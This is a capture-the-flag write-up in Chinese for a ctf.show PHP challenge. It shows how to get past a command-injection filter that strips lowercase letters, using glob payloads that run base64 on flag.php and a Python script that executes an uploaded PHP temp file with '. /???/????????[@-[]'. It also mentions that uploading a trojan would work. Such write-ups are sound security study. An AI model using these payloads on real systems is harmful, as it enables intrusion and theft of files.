信息收集
这里把小写字母都过滤了,众所周知linux是大小写区分的,没有小写字母根本整不出来命令
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
首先想到了与或非绕过,执行未果,想到之前写道过eval会先执行与或非,然后将字符当命令执行,不知道为什么这机制这么特殊。没有eval这个方法用不了。
看过上题的参考答案,我们看看能不能在/bin/
里面找一个命令来读flag.php
解题
文件读取
首先我看到了/bin/7z
,很遗憾,虽然/???/7?
可以精确指向7z,但是这个工具需要参数,而参数不能用?
代替
但确认了,其实目录也可以用?
替代,那么这个方法就有可行性。照这个很快,因为我们需要的是带有数字的命令,否则很难指向一个唯一的命令,毕竟没有小写字母可用
继续找bin里的命令,a里面没什么可用的命令,直到找到这个
遇到一个奇怪的现象,base64无法成功执行,base32却可以
都拿去试试,反正大胆假设,小心求证
当我在自己的机器上使用which base64
时,得到的结果是/usr/bin/base64
,但在题目靶机上/usr/bin
里没有
找到一个diff3,本以为能用,但是指向不唯一,用不了。大多???2???的也是用不了,因为难以指向唯一的命令
html2markdown和markdown2在本机上可用,但不能解题
?c=/???/????64 ????.???
?c=/???/????32 ????.???
百度一个base64解密,或者用python解密
import base64
print(base64.b64decode("这里写base64编码"))
用不了写这个,这个更通用,打印结果也好看些。上面那个简单好记
import base64
print(base64.b64decode("这里写base64编码".encode('utf-8')).decode('utf-8'))
压缩包
无意间找到一个lz4,想试试有什么用,于是桌面出现了一个压缩包一样的东西,虽然解题时用不了,但是为解题打开了新思路
使用命令ls / | grep zip
bunzip2
,和bzip2
符合条件,bunzip2
本地使用排除,bzip2
将原来的文件替换为一个.bz2
压缩包
p7zip
符合条件,压缩得到一个.7z
压缩包,但是靶机应该没有,下载不到压缩包
压缩包方案失败,没有下载到任何压缩包
参考答案
让我康康都写了啥啊,这么大一坨
简单来说就是:
-
通过post上传文件,此时php会在linux里的零时文件夹保存文件,且文件一定是php加上六个随机的字符,且这6个随机的字符会出现大写的情况。例如:
/tmp/phpAsDZCc
一般情况下,Linux文件和文件夹的命名都是小写字母,所以这里的大写字母非常特殊 -
shell下支持使用
.
或source
来执行shell脚本文件,也就是.sh文件,例如. code.sh
或source code.sh
(注意:.
的点后面有空格) -
linux支持glob通配符代替文件名,详情看这篇博客:Linux杂谈之Glob文件名模式匹配
规则里提到了[]
,例如[A-Z]匹配A-Z中任意一个,查ASCII码表,@-[
之间包含了所有的大写字母,所以命令写作[@-[]
,这个命令表示匹配一个大写字母、@
和[
将大写字母匹配符[@-[]
替换六个随机字符中的任意一个
构造payload:
. /???/????????[@-[]
接下来构造一个脚本上传文件,我这里写的是python代码。我不是不会html,而是在学校里学的全还给老师了。而且那个玩意构造起来还挺麻烦的,要查好多资料。其他脚本语言应该也是可以构造类似脚本的,人生苦短,我直接用python就好
当然,都能传文件了,你传木马也行
import requests
# http不要s
url = "http://101c8735-c6ce-4798-afa2-2a3eb20313ec.challenge.ctf.show/"
payload = ". /???/????????[@-[]"
file = {"file": "tac flag.php"
}post_url = url + "?c=" + payload
response = requests.request("POST", post_url, files=file)
print(response.text)
多试几次,直到出现最后一个字母是大写的随机文件,就能成功读取到文件了
补充知识
PHP 默认的文件上传处理机制:
PHP 内置了对 HTTP 文件上传的支持,其行为由 php.ini 的配置决定:
file_uploads = On:默认开启文件上传功能。
upload_tmp_dir:指定临时文件存储目录(如 /tmp),上传的文件会先存至此目录。
max_file_uploads 和 post_max_size:限制上传文件数量和大小。
关键点:即使开发者未在代码中编写文件上传逻辑,PHP 仍会自动接收上传的文件,并生成临时文件。这是 PHP 协议层的内置行为,与业务代码无关。
web54 目录 web56